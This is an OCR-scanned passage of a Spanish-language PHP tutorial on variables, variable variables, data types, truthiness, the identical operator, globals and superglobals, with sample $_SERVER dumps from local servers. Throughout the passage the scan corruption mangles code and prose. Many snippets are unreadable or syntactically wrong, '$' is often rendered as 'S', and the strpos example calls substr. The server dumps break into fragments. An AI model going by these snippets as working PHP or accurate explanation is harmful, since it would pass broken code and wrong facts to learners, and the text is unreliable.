* $array [] = 'valor'; // Empujar un elemento al final de una matriz 

* $array ['key"] = 'value'; // Asignar un valor de matriz 

* echo $ variable; // Eco (imprimir) un valor variable 

* some function ($ variable); // Usar variable como parámetro de función 
* unset ($ variable); // Desarmar una variable 

» $$ variable = 'valor'; // Asignar a una variable variable 

» ¡sset ($ variable); // Comprobar si una variable está configurada o no 

+ vacío ($ variable); // Compruebe si una variable está vacía o no 


Observaciones 


Verificación de tipos 


Parte de la documentación sobre variables y tipos menciona que PHP no utiliza la escritura 
estática. Esto es correcto, pero PHP realiza algunas comprobaciones de tipo cuando se trata de 
parámetros de función / método y valores de retorno (especialmente con PHP 7). 


Puede aplicar la comprobación de tipos de parámetros y valores de retorno utilizando las 
sugerencias de tipo en PHP 7 de la siguiente manera: 


<?php 


pk 
* Juggle numbers and return true if juggling was 
* a great success. 
si 
function numberJuggling(int Sa, int $b) : bool 
[ 
$sum = S$a + $b; 


return $sum % 2 === 0; 


Nota: el ser: ype () PHP para enteros y booleanos es integer Y boolean 
respectivamente. Pero para el tipo de sugerencia para tales variables necesita usar 
int Y boo1 . De lo contrario, PHP no le dará un error de sintaxis, pero esperará que se 
pasen las clases integer Y boolean . 
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El ejemplo anterior genera un error en caso de que el valor no numérico se da como tampoco el 
$a O $9 parámetro, y si la función devuelve algo más que true O false . El ejemplo anterior es 
"suelto", ya que puede dar un valor flotante a sa O sb . Si desea imponer tipos estrictos, lo que 
significa que solo puede ingresar números enteros y no flotantes, agregue lo siguiente al 
comienzo de su archivo PHP: 


<?php 
declare ('strict_types=1'); 


Antes de que las funciones y los métodos de PHP 7 permitieran el tipo de sugerencias para los 
siguientes tipos: 


* callable (una función o método llamable) 

* array (cualquier tipo de matriz, que también puede contener otras matrices) 
* Interfaces (Nombre de Clase Totalmente Calificada, o FQDN) 

* Clases (FQDN) 


Véase también: Salida del valor de una variable 


Examples 


Acceso a una variable dinámicamente por nombre (variables variables) 


Se puede acceder a las variables a través de nombres de variables dinámicas. El nombre de una 
variable se puede almacenar en otra variable, lo que permite acceder a ella de forma dinámica. 
Tales variables son conocidas como variables variables. 


Para convertir una variable en una variable, coloque un s extra en frente de su variable. 


SvariableName = 'foo'; 
$Sfoo = 'bar'; 


// The following are all equivalent, and all output "bar": 
echo $foo; 

echo $($variableName); 

echo S$variableName; 


MASA 
SvariableName = 'foo'; 
S$variableName = 'bar'; 


// The following statements will also output 'bar' 
echo $foo; 

echo S$variableName; 

echo $($variableName); 


Las variables variables son útiles para mapear funciones / llamadas de método: 


Fúmcrloa aca, la) A 
return $a + $b; 


) 
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SfuncName = 'add'; 


echo S$funcName (1, 2); // outputs 3 


Esto se vuelve particularmente útil en las clases de PHP: 


class myClass ( 
pmolils fumetloa — construir (0) 1 
SfunctionName = 'doSomething'; 
Sthis->$functionName ('Hello World'); 
) 


private function doSomething($string) ( 


echo $string; // Outputs "Hello World" 
) 


Es posible, pero no es necesario poner svariableName entre () : 


S(íSvariableNamej) = $value; 


Los siguientes ejemplos son tanto equivalentes como de salida "baz": 


Sto. = UoemmUp 

SvarPrefix = 'foo'; 

echo SfooBar; / Citas Maa 

echo S$($varPrefix . 'Bar'); // Also outputs "baz" 


Usar :) solo es obligatorio cuando el nombre de la variable es en sí mismo una expresión, como 
esta: 


S($variableNamePartl . $variableNamePart2) = S$Svalue; 


Sin embargo, se recomienda usar siempre () , porque es más legible. 


Si bien no se recomienda hacerlo, es posible encadenar este comportamiento: 


S5S555SSDONOtTryThisAtHomeKids = $value; 


Es importante tener en cuenta que el uso excesivo de variables variables es 
considerado como una mala práctica por muchos desarrolladores. Debido a que no 
son muy adecuados para el análisis estático de los IDE modernos, las grandes bases 
de código con muchas variables (o invocaciones de métodos dinámicos) pueden 
convertirse rápidamente en difíciles de mantener. 


Diferencias entre PHP5 y PHP7 
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Otra razón para usar siempre (; o () , es que PHP5 y PHP7 tienen una forma ligeramente 
diferente de tratar con variables dinámicas, lo que resulta en un resultado diferente en algunos 
casos. 


En PHP7, las variables dinámicas, las propiedades y los métodos ahora se evaluarán 
estrictamente en el orden de izquierda a derecha, a diferencia de la combinación de casos 
especiales en PHP5. Los siguientes ejemplos muestran cómo ha cambiado el orden de 
evaluación. 

Caso 1: ssroo['bar']['baz"] 


» Interpretación de PHP5: s:(5foo['bar']['baz"]) 
* Interpretación de PHP7: ($5£o0) ['bar']['baz"] 


Caso 2: $foo->$bar['baz'] 


* Interpretación de PHP5: $ro0->($bar['baz']) 
+ Interpretación de PHP7: ($£oo->$bar) ['baz'] 


Caso 3: $foo->$bar['baz'] () 


* Interpretación de PHP5: $ro0->($bar['baz'])() 
* Interpretación de PHP7: ($£oo->$bar) ['baz'] () 


Caso 4: roo: :s$bar['baz']() 


a Interpretación de PHP5: roo: : (Sbar['baz'1)() 
bl Interpretación de PHP7: (Foo: :$bar) ['baz'] () 


Tipos de datos 
Hay diferentes tipos de datos para diferentes propósitos. PHP no tiene definiciones de tipo 
explícitas, pero el tipo de una variable está determinado por el tipo de valor que se asigna, o por 


el tipo al que se convierte. Esta es una breve descripción general de los tipos, para una 
documentación detallada y ejemplos, consulte el tema de tipos de PHP . 


Existen los siguientes tipos de datos en PHP: nulo, booleano, entero, flotante, cadena, objeto, 
recurso y matriz. 


Nulo 


Nulo puede ser asignado a cualquier variable. Representa una variable sin valor. 


soso = muulilo 


Esto invalida la variable y su valor sería indefinido o nulo si se llama. La variable se borra de la 
memoria y el recolector de basura la elimina. 
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Booleano 


Este es el tipo más simple con solo dos valores posibles. 


SEDO = ELUe—? 
Shar = Ealse, 


Los booleanos se pueden utilizar para controlar el flujo de código. 


SEDO = ELEUE— 


dE (SECO) € 

echo "true"; 
) else ( 

echo "false"; 


Entero 


Un número entero es un número entero positivo o negativo. Puede ser utilizado con cualquier 
base numérica. El tamaño de un entero es dependiente de la plataforma. PHP no soporta enteros 
sin signo. 


$foo = -3; // negative 

S£oo = 0; // zero (can also be null or false (as boolean) 

$foo = 123; // positive decimal 

$bar = 0123; // octal = 83 decimal 

Spas O0=AB esas cima il decimal 

Sbar = 0b1010; // binary = 10 decimal 

varidump (01230 RAB/ ODIO LO) output: ne (83) ante (1) nie (00) 


Flotador 


Los números de punto flotante, "dobles" o simplemente llamados "flotadores" son números 
decimales. 


Sioo = 1,235 


Sos = 110.,10)9 
Sbar = -INF; 
Sbar = NAN; 
Formación 


Una matriz es como una lista de valores. La forma más simple de una matriz está indexada por 
entero y ordenada por el índice, con el primer elemento en el índice 0. 


$Sfoo = array (1, 2, 3); // An array of integers 
Elorsua SWAD. eu, les => Bl // Slaorae euseshy Swialeeos, Bala 5. dar 
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echo Sbar[0]; Vi Betiturzas MAY 
echo $barl1]; // Returns true 
celo Sos Mis, // Rercuzas Y 
echo $bar[1234]; // Returns null 


Las matrices también pueden asociar una clave que no sea un índice entero a un valor. En PHP, 
todas las matrices son matrices asociativas detrás de las escenas, pero cuando nos referimos a 
una 'matriz asociativa' claramente, por lo general nos referimos a una que contiene una o más 
claves que no son enteros. 


Sarray = array(); 

Semray [WE] = ori 

Sarray [Mbaz "== MUquusit 

Sarray[42] = "hello"; 

Sano Sari LS A Os oral 
celo array (Maz, // Oíñiejames "eun 
echo array [14217 // O0utputs "helio" 


Cuerda 
Una cadena es como una matriz de caracteres. 
$foo = "bar"; 
Al igual que una matriz, una cadena se puede indexar para devolver sus caracteres individuales: 


Stoo. = "bar 
sello SiO 10 // Primes “al, las Ficse caiaraceers 0 tds siuisilae, a SEDO. 


Objeto 


Un objeto es una instancia de una clase. Se puede acceder a sus variables y métodos con el 
operador -> . 


$Sfoo = new stdClass(); // create new object of class stdClass, which a predefined, empty class 
soso a = MomY>o 

sello Sio0=06139 /y Oibiciomes Moa 

// Or we can cast an array to an object: 

Squux = (object) ["foo" => "bar"]; 

Scala Sep —>to0p 4/ Mas obicouies Mosul. 


Recurso 


Las variables de recursos tienen identificadores especiales para archivos abiertos, conexiones de 
base de datos, flujos, áreas de lienzo de imágenes y similares (como se indica en el manual ). 


ño = Fosa (elle. cr, Ve) // Eos) de das bacilo e Pjyea e sulle oa cis as = esobiida. 
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var_dump ($f£p); // output: resource(2) of type (stream) 


Para obtener el tipo de una variable como una cadena, use la función gettype () : 


echo gettype (1); // outputs "integer" 
cho gettype (true); // "boolean" 


Mejores prácticas de variables globales 
Podemos ilustrar este problema con el siguiente pseudo-código 


function foo() ( 
global $bob; 
Sbob->doSomething(); 


Tu primera pregunta aquí es obvia. 
¿De dónde vino sbob ? 


¿Estas confundido? Bueno. Acaba de aprender por qué los globales son confusos y se 
consideran una mala práctica . 


Si se tratara de un programa real, su siguiente diversión es ir rastreando todas las instancias de 
sbo» Y espero que encuentre la correcta (esto empeora si s»bo» se usa en todas partes). Peor aún, 
si alguien más va y define sobop (o si olvidó y reutilizó esa variable), su código puede romperse (en 
el ejemplo de código anterior, tener el objeto equivocado o no tener ningún objeto, causaría un 
error fatal). 


Dado que prácticamente todos los programas PHP hacen uso de código como 
include ('file.php'); Su trabajo para mantener un código como este se vuelve exponencialmente 
más difícil cuanto más archivos agregue. 


Además, esto hace que la tarea de probar sus aplicaciones sea muy difícil. Supongamos que 
utiliza una variable global para mantener su conexión de base de datos: 


SdbConnector = new DBConnector(...); 
function doSomething() ( 


global $dbConnector; 
SdbConnector->execute("..."); 


Para realizar una prueba unitaria de esta función, debe anular la variable global sabconnector , 
ejecutar las pruebas y luego restablecerla a su valor original, que es muy propenso a errores: 


pk 
* (test 
/ 


function testSomething() ( 
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global $dbConnector; 


Sbkp = $dbConnector; // Make backup 
SdbConnector = Mock::create ('DBConnector'); // Override 


assertTrue(foo()); 


$dbConnector = $bkp; // Restore 


¿Cómo evitamos los Globales? 


La mejor manera de evitar los globales es una filosofía llamada inyección de dependencia . 
Aquí es donde pasamos las herramientas que necesitamos a la función o clase. 


function foo(1Bar $bob) ( 
Sbob->doSomething(); 
) 


Esto es mucho más fácil de entender y mantener. No se puede adivinar dónde se configuró sbob 
porque la persona que llama es responsable de saberlo (nos pasa lo que necesitamos saber). 
Mejor aún, podemos usar declaraciones de tipo para restringir lo que se está pasando. 


Así que sabemos que sbo» es una instancia de la clase sa- o una instancia de un hijo de pax , lo 
que significa que sabemos que podemos usar los métodos de esa clase. Combinado con un 
autocargador estándar (disponible desde PHP 5.3), ahora podemos rastrear dónde se define paz . 
PHP 7.0 o posterior incluye declaraciones de tipo expandido, donde también puede usar tipos 
escalares (como int O string ). 


4.1 
Variables superglobales 


Los superglobales en PHP son variables predefinidas, que están siempre disponibles, a las que 
se puede acceder desde cualquier ámbito a lo largo del script. 


No hay necesidad de hacer $ variable global; Para acceder a ellos dentro de funciones / métodos, 
clases o archivos. 


Estas variables superglobal de PHP se enumeran a continuación: 


* $GLOBALES 
* $_SERVER 
$ _REQUEST 
$ _POST 

$ GET 

$ _FILES 

* $_ENV 

* $_COOKIE 

* $_SESION 
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Obteniendo todas las variables definidas 


get_defined_vars () devuelve una matriz con todos los nombres y valores de las variables definidas 
en el ámbito en el que se llama la función. Si desea imprimir datos, puede usar funciones 
estándar para generar datos legibles para el ser humano, como print r O var dump . 


var_dump (get_defined_vars()); 


Nota : esta función generalmente devuelve solo 4 superglobales : $_GeT , $_POST , $_COOKIE , 
s_rILES . Otros superglobales se devuelven solo si se han utilizado en algún lugar del código. Esto 
se debe a la directiva auto g1oba1s 311 que está habilitada de forma predeterminada. Cuando está 
habilitado, las variables $_server y $_env se crean cuando se usan por primera vez (Just In Time) 
en lugar de cuando se inicia el script. Si estas variables no se usan dentro de un script, tener esta 
directiva activada resultará en una ganancia de rendimiento. 


Valores por defecto de variables no inicializadas 


Aunque no es necesario en PHP, sin embargo, es una muy buena práctica inicializar variables. 
Las variables sin inicializar tienen un valor predeterminado de su tipo según el contexto en el que 
se utilizan: 


Sin establecer y sin referencia 


var_dump ($unset_var); // outputs NULL 


Booleano 

seño ((Sumscr lol $ Merusial s Malsaa)? // Cuates "Esles" 
Cuerda 

Sunset_str .= 'abc'; 

var_dump ($unset_str); // outputs 'string(3) "abc"' 

Entero 


Sunset_int += 25; // 0 + 25 => 25 
var_dump ($unset_int); // outputs 'int(25)' 


Flotar / doble 


Sunsetitloat +2. 
var_dump ($unset_float); // outputs 'float(1.25)' 


Formación 


Suasce sea] = "edstis 
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var_dump ($unset_arr); // outputs array(1) ( [3]=> string(3) "def" ) 
Objeto 


Sunset_obj->£foo = 'bar'; 
var_dump ($unset_ob3); // Outputs: object (stdClass)+t1 (1) ( (Mts 4]=> steinc (3) “Mos ) 


Confiar en el valor predeterminado de una variable no inicializada es problemático en el caso de 
incluir un archivo en otro que use el mismo nombre de variable. 


Valor de verdad variable y operador idéntico. 


En PHP, los valores de las variables tienen una "veracidad" asociada, por lo que incluso los 
valores no booleanos equivaldrán a true O false . Esto permite que cualquier variable se use en 
un bloque condicional, por ejemplo, 


1f ($var == true) ([ /* explicit version */ ) 
ase (wei) [e Svaz == Erue ds admite / | 


Aquí hay algunas reglas fundamentales para diferentes tipos de valores de variables: 


+ Las cadenas con longitud distinta de cero equivalen a true incluidas las cadenas que solo 
contienen una hoja blanca como : :. 
+ Las cadenas vacías :: equivalen a false . 


Sweñe = Uy 

vez ile terme = (Svere == teve) // false 
Swere_ ls relee = (Svaz == elle)» // tuve 
Swvera = Y Ue 

verle prue = (See == teve), // eve 
Swvew ile selse = (Svewe == False)» // false 


+ Los enteros equivalen a true si son distintos de cero, mientras que cero equivale a false . 


Svar = -1; 

Swvers ls preus = (Sure == reus), // teme 
Svar = 99; 

Sver ls preus = (Sue == tus), // teme 
Svar = 0; 

ver ls tru = (Svee == beue)s // Felee 


* null equivale a false 


Syerz = mul, 
Svaz le terme = (var == true). // False 
vere is false = (Svae == else)» // eme 


+ Las cadenas vacías :': y la cadena cero ro: equivalen a false . 


https://riptutorial.com/es/nome 546 


Swvere = "Ug 


Svaz ile terme = (Svees == tzue)s // tales 
Swer ls false = (Svae == fellee)» // ene 
Svaz = UU 

Svaz ile terme = (Sver == tzue)p // false 
Swer les Eslee = (Svae == false)» // eme 


+ Los valores de punto flotante equivalen a true si son distintos de cero, mientras que los 


valores de cero equivalen a false . 
> Nan (Not-a-Number de PHP) equivale a true , es decir, nan == true €S true . Esto 
debe a que sax es un valor de punto flotante distinto de cero . 


se 


Los valores cero incluyen tanto +0 como -0 según lo definido por IEEE 754. PHP no 
distingue entre +0 y -0 en su punto flotante de doble precisión, es decir, fioatval ('0*) 


== floatval('-0') €S true. 


o De hecho, floatval('0') === floatval('-0'). 

o Además, ambos floatval('0') == false Y floatval('-0') == false. 
Svar = NAN; 
Svezia terme = (Svere == teve)» // true 
Swew les sealse = (Svaz == false)» // false 


$var = floatval('=0'); 


Svezia terme = (Svere == teve) // false 
Swer ls rslse = (Svaz == Eellee)p // tuve 
Sver = local (0%) = tlosweval (=0%). 
vez ile terme = (Sveaez == teve) // false 
Swvere ls relee = (Suarez == elle)? // ue 


OPERADOR IDENTICO 


En la Documentación PHP para operadores de comparación , hay un operador idéntico === 
operador se puede usar para verificar si una variable es idéntica a un valor de referencia: 


Seu = ¡mill p 


Swver ds auiLl = Sy === mulls // czue 
Svezia ereme = Syez === eteues // false 
Svaz lila false = Syar === false. // False 


¡Tiene un operador no idéntico correspondiente :==-: 


Syerz = mul p 


Swerz 18 null = Svaz le= millo // false 
vers ls ejevs = Suse les teus, // teme 
var ls Balee = Svae l== false» // tiene 


El operador idéntico se puede usar como una alternativa a las funciones de lenguaje como 


is_null(). 


CAJA DE USO CON strpos () 
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La función de lenguaje strpos (Shaystack, $needle) Se usa para ubicar el índice en el que sneedle 
aparece en shaystack , O si ocurre en absoluto. La función strpos (, mayúsculas y minúsculas; Si lo 


que necesita es un hallazgo que no distingue entre mayúsculas y minúsculas, puede ir con 
stripos ($haystack, $needle) 


La función strpos 4 stripos también contiene el of£se: tercer parámetro (int) que, si se especifica, 
la búsqueda iniciará este número de caracteres contados desde el principio de la cadena. A 
diferencia de strrpos y strripos, el offset no puede ser negativo 


La función puede devolver: 


* (si se encuentra sneedle al comienzo de shaystack ; 

* un entero distinto de cero que especifica el índice Si sneea1e se encuentra en algún lugar 
distinto al principio en shnaystacx ; 

+ yel valor es false si no se encuentra sneedle ON Shaystack . 


Debido a que tanto o como false tienen una verdad faise en PHP pero representan situaciones 
distintas para strpos () , es importante distinguir entre ellos y usar el operador idéntico === para 
buscar exactamente false y no solo un valor que equivale a false . 


Sidx = substr ($haystack, $needle); 
1f ($idx === false) 


// logic for when $needle not found in S$haystack 
else 


// logic for when $needle found in Shaystack 


Alternativamente, utilizando el operador no ¡idéntico : 


Sidx = substr($haystack, $needle); 
1f (f$idx !== false) 


// logic for when $needle found in Shaystack 
else 


// logic for when $needle not found in S$haystack 


Lea Variables en línea: https://riptutorial.com/es/php/topic/194/variables 
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Capítulo 106: Variables Superglobales PHP 


Introducción 


Las superglobales son variables integradas que siempre están disponibles en todos los ámbitos. 


Varias variables predefinidas en PHP son "superglobales", lo que significa que están disponibles 
en todos los ámbitos a lo largo de un script. No hay necesidad de hacer global $variable; 
Acceder a ellos dentro de funciones o métodos. 


Examples 


PHP5 SuperGlobals 


A continuación se muestran los SuperGlobals PHP5 


+ $ GLOBALES 
- $ REQUEST 
* $ GET 

* $ POST 

- $ FILES 

- $ SERVER 
- $ ENV 

- $ COOKIE 
- $ SESION 


$ GLOBALES : esta variable superglobal se usa para acceder a variables globales. 


<?php 
Sa = 10, 
Puno o lA 
echo $SGLOBALS['a']; 
) 
//Which will print 10 Global Variable a 
> 


$ REQUEST : esta variable superglobal se usa para recopilar datos enviados por un formulario 
HTML. 


<?php 
if (isset (S_REQUEST['user']))( 
echo $_REQUEST['user']; 
) 
//This will print value of HIML Field with name=user submitted using POST and/or GET MEthod 
2> 


$ _GET : esta Variable SuperGlobal se usa para recopilar datos enviados por el formulario HTML 
con el método get . 


https://riptutorial.com/es/nome 549 


<?php 
if (isset ($_GET['username']))( 
echo $_GET['username']; 


) 
//This will print value of HIML field with name username submitted using GET Method 


> 


$ _POST : esta Variable SuperGlobal se usa para recopilar datos enviados mediante un 
formulario HTML con método de post . 


<?php 
1f (isset ($_POST['username']))1( 
echo $_POST['username']; 


) 
//This will print value of HIML field with name username submitted using POST Method 


E> 


$ _FILES : Esta Variable SuperGlobal contiene la información de los archivos cargados a través 
del método HTTP Post. 


<?php 

de (Ss [Melee] 
echo "<pre>"; 
rta 2 (8 Ss Golem" 1) 
echo "</pre>"; 


) 

J** 

This will print details of the File with name picture uploaded via a form with method='post 
and with enctype='multipart/form-data' 

Details includes Name of file, Type of File, temporary file location, error code(if any error 
occured while uploading the file) and size of file in Bytes. 


Eg. 


Array 
( 
[picture] => Array 
( 
[0] => Array 
( 
[name] => 400.png 
[typel => image/png 
[tmp_name] => /tmp/php5Wx0aJ 
[error] => 0 
[sizel => 157208 
) 
) 
) 
7 
> 


$ SERVER : esta variable superglobal contiene información sobre scripts, encabezados HTTP y 
rutas de servidor. 


<?php 
echo "<pre>"; 
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PEINE (SESERVER) 
echo "</pre>"; 

J** 
Will print the following details 
on my local XAMPP 

Array 


MIBDIRS] => C:/xampp/php/extras/mibs 

MYSOL_ HOME] => MXxamppWmysqllbin 

OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf 
PHP_PEAR_SYSCONF_DIR] => AxamppYphp 

PHPRC] => Mxampp php 

TMP] => MxamppYtmp 


HTTP_HOST] => localhost 

HTTP_CONNECTION] => keep-alive 

HTTP_CACHE_CONTROL] => max-age=0 

HTTP_UPGRADE_INSECURE_REQUESTS] => 1 

HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 like 
Gecko) Chrome/52.0.2743.82 Safari/537.36 

HTTP_ACCEPT] => text/html, application/xhtml+xml, application/xml;q=0.9,image/webp, *;aq=0.8 


HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch 
HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8 

PATH] => C:1xamppYphp;C:iProgramDatalComposerSetupbin; 
SystemRoot] => C: Windows 


COMSPEC] => C:IWindowsYsystem32Xcmd.exe 


WINDIR] => C:IWindows 


Pot 


o 


ERVER_NAME] => localhost 

ERVER_ADDR] => ::1 

ERVER_PORT] => 80 

OTE_ADDR] => ::1 

ENT_ROOT] => C:/xampp/htdocs 
EQUEST_SCHEME] => http 

EFIX] => 

UMENT_ROOT] => C:/xampp/htdocs 

=> postmasterftlocalhost 
CRIPT_FILENAME] => C:/xampp/htdocs/abcd.php 
OTE_PORT] => 63822 

ATEWAY_INTERFACE] => CGI/1.1 

RVER_PROTOCOL] => HTTP/1.1 
EQUEST_METHOD] => GE 
Q 


O 
(2) 
(s; 


O 
> 
FU 
y) 


e) 
E 
> 
| 
y 
(E) 
el 


UEST_URI] => /abcd.php 
CRIPT_NAME] => /abcd.php 

HP_SELF] => /abcd.php 

EQUES IME_FLOAT] => 1469374173.88 
EQUEST_TIME] => 1469374173 


DD AND A A AA A AAA AAC 
o) 
< 
o) 
» 
le 
y 
z 


e 


> 


BATHEXIT] == COM EXE BA CUIDE VES. WE der des). Mee) Mot MSC 


ERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 


ERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost 


$ _ENV : Este entorno de shell de variable superglobal Detalles de la variable bajo los cuales se 


ejecuta PHP. 


$ _COOKIE : esta Variable SuperGlobal se usa para recuperar el valor de Cookie con la Clave 


dada. 
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<?php 


Scookie_name = "data"; 
Scookie_value = "Foo Bar"; 
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day 
if(!lisset($_COOKIE[$cookie_name])) ( 
Scan Cool menea “Y y Seoolale mae » YY ds mae see 19 
) 
else ( 
clas “Cookies “4. Seculale meme . YY" is serlo 
cclao “Wed 1sg Y , $ CON [Secelkle mente ly 
) 
J** 
Output 


Cookie 'data' is set! 
Value is: Foo Bar 
sy 


> 


$ _SESSION : esta variable superglobal se usa para establecer y recuperar el valor de sesión que 
se almacena en el servidor. 


<?php 

//Start the session 

session_start (); 

pk 
Setting the Session Variables 
that can be accessed on different 
pages on save server. 


E 
S_SESSION["username"] = "John Doe"; 
S_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f"; 


echo "Session is saved successfully"; 


pk 

Output 

Session is saved successfully 
287) 
2> 


Suberglobales explicados 


Introducción 


En pocas palabras, estas son variables que están disponibles en todos los ámbitos de sus scripts. 


Esto significa que no hay necesidad de pasarlos como parámetros en sus funciones, o 
almacenarlos fuera de un bloque de código para tenerlos disponibles en diferentes ámbitos. 


¿Qué es un superglobal? 


Si estás pensando que estos son como superhéroes, no lo son. 
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A partir de la versión 7.1.3 de PHP hay 9 variables superglobal. Son los siguientes: 


SGLOBALS - $GLOBALS referencia a todas las variables disponibles en el alcance global 


5 8 
s_cET - Variables HTTP GET 
s_posT - Variables HTTP POST 
$_FILES - $_FILES archivos HTTP 
s_coox1z - Cookies HTTP 


S_S 


S_RE 


$ 


ÉRVER - Información del servidor y del entorno de ejecución. 


Ea! 


E 


Éssion - Variables de sesión 
ouEsT - Variables de solicitud HTTP 
v - Variables de entorno 


Consulte la documentación . 


Cuéntame más cuéntame más 


Lo siento por la referencia de Grease! Enlazar 


¡Un poco de explicación sobre estos hérees súper globales. 


SGLOBALS 


Una matriz asociativa que contiene referencias a todas las variables que actualmente 
están definidas en el alcance global del script. Los nombres de las variables son las 


claves de la matriz. 


Código 


$myGlobal = "global"; // declare variable outside of scope 


function test () 


( 


S$myLocal = "local"; // declare variable inside of scope 


// both variables are printed 


var_dump ($myLocal); 
var_dump ($GLOBALS["myGlobal1"]); 


test (); 
// only $myGlobal is printed since $myLocal is not globally scoped 


Y UR EME 


var_dump ($myLocal); 


var_dump ($myGlobal); 


Salida 


string 


'"local' (length=5) 


string 'global' (length=6) 


null 


string 'global' (length=6) 


En el ejemplo anterior, $mytocaz nO se muestra la segunda vez porque se declara dentro de la 
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función test () y luego se destruye una vez que se cierra la función. 


Volverse global 


Para remediar esto hay dos opciones. 


Opción uno: palabra clave global 


function test() 
1 
global $myLocal; 
$myLocal = "local"; 
var_dump ($myLocal); 
var_dump ($GLOBALS["myGloba1"]); 


La palabra clave y1oba1 es un prefijo en una variable que la obliga a formar parte del ámbito 
global. 


Tenga en cuenta que no puede asignar un valor a una variable en la misma declaración que la 
palabra clave global. Por lo tanto, por qué tuve que asignar un valor por debajo. (Es posible si 
elimina nuevas líneas y espacios, pero no creo que esté limpio. global $myLocal; $myLocal = 
"local" ). 


Opción dos: s$cLoBaLs array 


function test () 

1 
SGLOBALS["myLocal"] = "local"; 
$myLocal = SGLOBALS["myLocal"]; 
var_dump ($myLocal); 
var_dump ($GLOBALS["myGlobal"]); 


En este ejemplo, s$myLoca1 el valor de scLoBaL ["myLoca1"] ya que me resulta más fácil escribir un 
nombre de variable en lugar de la matriz asociativa. 


$_SERVER 


$ _SERVER es una matriz que contiene información como encabezados, rutas y 
ubicaciones de scripts. Las entradas en esta matriz son creadas por el servidor web. 
No hay garantía de que cada servidor web proporcione alguno de estos; los servidores 
pueden omitir algunos o proporcionar otros que no figuran en esta lista. Dicho esto, 
una gran cantidad de estas variables se tienen en cuenta en la especificación CG / 
1.1, por lo que debería poder esperarlas. 


Un resultado de ejemplo de esto podría ser el siguiente (ejecutarlo en mi PC con Windows 
usando WAMP) 


C:Iwamp64lwwwtest .php:2: 
array (size=36) 
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"HTTP_CONNECTION" 


'HTTP_HOST' => string 'localhost' (length=9) 


=> string 'keep-alive' (length=10) 


'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9) 


'"HTTP_UPGRADE_INSE 


CURE_REQUESTS' => string '1' (length=1) 


"HTTP_USER_AGH y 


=> string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebkKit/537.36 


(KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110) 


'"HTTP_ACCEPT' => s 
"text/html, application 
"HTTP_ACCEPT_ENCOD 


T 


¡E1e Lin] 
/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74) 
ING' => string 'gzip, deflate, sdch, br' (length=23) 


E P_COOKIE' => s 
SY > Sieseliao] Y 
(x86)IntelXiCLS Clien 
ClientYX;C:iProgramData 


FileslATI Technologies 
Files (x86)XAMDMATI.AC 
Static;C:lProgram File 
'SystemRoot' => st 
"COMSPEC' => strin 
"PATHEXT' => strin 
(length=57) 
'"NINDIR' => string 
'"SERVER_SIGNATURE" 
localhost Port 80</add 
'"SERVER_SOFTWARE" 
'"'SERVER_NAME' => s 
'"SERVER_ADDR' => s 
'"'SERVER_PORT' => s 
"REMOTE_ADDR' => s 
"DOCUMENT_ROOT' => 
"REQUEST_SCHEME' = 
"CONTEXT_PREFIX' = 


"HTTP_ACCEP ¡AANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26) 


tring 'PHPSESSID=0gs1nvgsci37lete%hg7k9ivc6' (length=36) 

C:lProgram Files (x86)1NVIDIA CorporationYPhysXXCommon;C: Program Files 
EN¡C:AProgram FileslIntelliCLS 

No0racleJavaljavapath;C: AWINDOWSAsystem32;C:XWINDOWS;C: AWINDOWSASystem32YWbem;C:) 
NATI.ACEMCore-Static;E: Program FilesxAMDMATI.ACENCore-Static;C:lProgram 
EXCore-Static;C:XProgram Files (x86) ATI TechnologiesxATI.ACEMCore- 
slIntel*Intel (R) Managemen'... (length=1169) 

ring 'C:IWINDOWS' (length=10) 

g 'C:AWINDOWSAsystem32Xcmd.exe' (length=27) 

a “COM AAA INTO MIDA ASS y BIE USA USE. MSIE] MSIE MSIE I2e 


"C:AWINDOWS' (length=10) 
=> string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at 
ress>' (length=80) 
=> string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32) 
tring 'localhost' (length=9) 
tring '::1' (length=3) 
tring '80' (length=2) 
esa Ve gil (lengiela=s)) 
string 'C:/wamp64/www' (length=13) 
> string 'http' (length=4) 


"CONTEXT_DOCUMENT 
"SERVER_ADMIN' => 
"SCRIPT_FILENAME' 
"REMOTE_PORT' => s 
"GATEWAY_INTERFACH 
'"SERVER_PROTOCOL' 
"REQUEST_METHOD' = 


ERY_STRING' => 
'REQUEST_URI' => s 
'SCRIPT_NAME 


"PHP_SELF' => stri 


E 


=> s 


> string '' (length=0) 
ROOT' => string 'C:/wamp64/www' (length=13) 
string 'wampserverflwampserver.invalid' (length=29) 


=> string 'C:/wamp64/www/test.php' (length=26) 
tring '5359' (length=4) 

' => string 'CGI/1.1' (length=7) 

=> string 'HTTP/1.1' (length=8) 

> string 'GET' (length=3) 

string '' (length=0) 

tring '/test.php' (length=13) 

tring '/test.php' (length=13) 

ng '/test.php' (length=13) 


'"REQUES IME_FLOA 
"REQUES ME > 


10 > loe LAOS al als 
int 1491068771 


Hay mucho que tomar allí, así que voy a elegir algunos importantes a continuación. Si desea leer 
sobre todos ellos, consulte la sección de índices de la documentación. 


Yo podría agregarlos todos debajo de un día. ¿O alguien puede editar y agregar una buena explicación de ellos a 


continuación? Pista, pista ;) 


Para todas las explicaci 


ones a continuación, suponga que la URL es 


http://www.example.com/index.php 


P_HosT - La dire 


cción del host. 


H 
Esto devolvería www.example.com 
HTTP_USER_AGENT - Contenido del agente de usuario. Esta es una cadena que contiene toda la 
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información sobre el navegador del cliente, incluido el sistema operativo. 

* Írrp_cooktE - Todas las cookies en una cadena concatenada, con un delimitador de punto y 
coma. 

* SERVER_ADDR : la dirección IP del servidor, de la cual se ejecuta el script actual. 

Esto devolvería 93.184.216.34 

